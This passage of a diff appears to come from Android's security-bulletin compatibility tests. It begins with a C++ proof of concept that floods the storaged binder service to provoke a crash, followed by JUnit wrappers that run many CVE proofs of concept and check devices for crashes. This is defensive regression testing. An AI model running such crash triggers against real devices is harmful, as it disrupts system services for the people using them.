+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <pthread.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+static int userId = 0;
+constexpr int kMaxThreads = 2;
+constexpr int kMaxUsers = 1024 * 1024;
+constexpr int kSleepDuration = 5;
+
+
+static void *trigger_onUserStarted(void *p __attribute__((unused))) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("storaged"));
+
+ if (not service) {
+ return nullptr;
+ }
+
+ while (userId < kMaxUsers) {
+ Parcel data, reply;
+ data.writeInterfaceToken(service->getInterfaceDescriptor());
+ data.writeInt32(++userId);
+ service->transact(1, data, &reply, 0);
+ }
+
+ return nullptr;
+}
+
+int main() {
+ pthread_t threads[kMaxThreads];
+
+ for (int t = 0; t < kMaxThreads; ++t) {
+ pthread_create(&threads[t], nullptr, trigger_onUserStarted, nullptr);
+ }
+ for (int t = 0; t < kMaxThreads; ++t) {
+ pthread_join(threads[t], nullptr);
+ }
+
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("storaged"));
+ if (service) {
+ break;
+ }
+ sleep(kSleepDuration);
+ }
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
new file mode 100644
index 0000000..4dd4b39
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0684 extends SecurityTestCase {
+
+ /**
+ * b/35421151
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2017-07")
+ @Test
+ public void testPocCVE_2017_0684() throws Exception {
+ pocPusher.only32();
+ String errPattern[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0684", null, getDevice(),
+ errPattern);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
new file mode 100644
index 0000000..5a17589
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0726 extends SecurityTestCase {
+
+ /**
+ * b/36389123
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-08")
+ @Test
+ public void testPocCVE_2017_0726() throws Exception {
+ pocPusher.only64();
+ String inputFiles[] = {"cve_2017_0726.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0726",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
new file mode 100644
index 0000000..f92c876
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2011 extends SecurityTestCase {
+
+ /**
+ * b/120084106
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ @Test
+ public void testPocCVE_2019_2011() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2011", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
new file mode 100644
index 0000000..db98e28
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2135 extends SecurityTestCase {
+
+ /**
+ * b/125900276
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2135() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE_2019_2135", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
new file mode 100644
index 0000000..e4b41cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2136 extends SecurityTestCase {
+
+ /**
+ * b/132650049
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2136() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2136", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
new file mode 100644
index 0000000..ad9e06f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_9247 extends SecurityTestCase {
+
+ /**
+ * b/120426166
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9247() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9247", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
new file mode 100644
index 0000000..4e0a4a6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0037 extends SecurityTestCase {
+
+ /**
+ * b/143106535
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0037() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0037", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
new file mode 100644
index 0000000..6759c30
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0038 extends SecurityTestCase {
+
+ /**
+ * b/143109193
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0038() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0038", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
new file mode 100644
index 0000000..f0f3323
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0039 extends SecurityTestCase {
+
+ /**
+ * b/143155861
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0039() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0039", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
new file mode 100644
index 0000000..43632ec
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0226 extends SecurityTestCase {
+
+ /**
+ * b/150226994
+ * Vulnerability Behaviour: SIGSEGV in surfaceflinger
+ */
+ @SecurityTest(minPatchLevel = "2020-07")
+ @Test
+ public void testPocCVE_2020_0226() throws Exception {
+ String processPatternStrings[] = {"surfaceflinger"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0226", null, getDevice(),
+ processPatternStrings);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
new file mode 100644
index 0000000..07f82bb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0381 extends SecurityTestCase {
+
+ /**
+ * b/150159669
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0381() throws Exception {
+ String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0381",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
new file mode 100644
index 0000000..aedeb1a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0384 extends SecurityTestCase {
+
+ /**
+ * b/150159906
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0384() throws Exception {
+ String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0384",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
new file mode 100644
index 0000000..37465e4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0385 extends SecurityTestCase {
+
+ /**
+ * b/150160041
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0385() throws Exception {
+ String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0385",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
deleted file mode 100644
index fe42a0b..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import static org.junit.Assume.assumeTrue;
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0462 extends SecurityTestCase {
-
- /**
- * b/169161709
- */
- @Test
- @SecurityTest(minPatchLevel = "2020-12")
- public void testPocCVE_2020_0462() throws Exception {
- assumeTrue(containsDriver(getDevice(),
- "/sys/devices/system/cpu/vulnerabilities/spec_store_bypass"));
- String spec_store_bypass = AdbUtils.runCommandLine(
- "cat /sys/devices/system/cpu/vulnerabilities/spec_store_bypass", getDevice());
- assertFalse(spec_store_bypass.startsWith("Vulnerable"));
- assertTrue(spec_store_bypass.startsWith("Not affected") ||
- spec_store_bypass.startsWith("Mitigation"));
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
new file mode 100644
index 0000000..5248019
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0313 extends SecurityTestCase {
+
+ /**
+ * b/170968514
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2021_0313() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0313", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
new file mode 100644
index 0000000..3d3f4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0330 extends SecurityTestCase {
+
+ /**
+ * b/170732441
+ * Vulnerability Behaviour: SIGSEGV in storaged
+ */
+ @SecurityTest(minPatchLevel = "2021-02")
+ @Test
+ public void testPocCVE_2021_0330() throws Exception {
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
+ testConfig.config.checkMinAddress(false);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
new file mode 100644
index 0000000..711949a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc21_01 extends SecurityTestCase {
+
+ /**
+ * b/168211968
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testPocCVE_2021_0318() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-0318", getDevice(), 300);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 2b83077..10137a0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -267,7 +267,15 @@
}
private long getDeviceUptime() throws DeviceNotAvailableException {
- String uptime = getDevice().executeShellCommand("cat /proc/uptime");
+ String uptime = null;
+ int attempts = 5;
+ do {
+ if (attempts-- <= 0) {
+ throw new RuntimeException("could not get device uptime");
+ }
+ getDevice().waitForDeviceAvailable();
+ uptime = getDevice().executeShellCommand("cat /proc/uptime").trim();
+ } while (uptime.isEmpty());
return Long.parseLong(uptime.substring(0, uptime.indexOf('.')));
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index aedc7b3..35e46c7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -46,6 +46,19 @@
******************************************************************************/
/**
+ * b/17769851
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2015-12")
+ @Test
+ public void testPocCVE_2015_6616() throws Exception {
+ pocPusher.only64();
+ String inputFiles[] = {"cve_2015_6616.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2015-6616",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
* b/37239013
* Vulnerability Behaviour: EXIT_VULNERABLE (113)
*/
@@ -474,6 +487,26 @@
******************************************************************************/
/**
+ * b/158762825
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
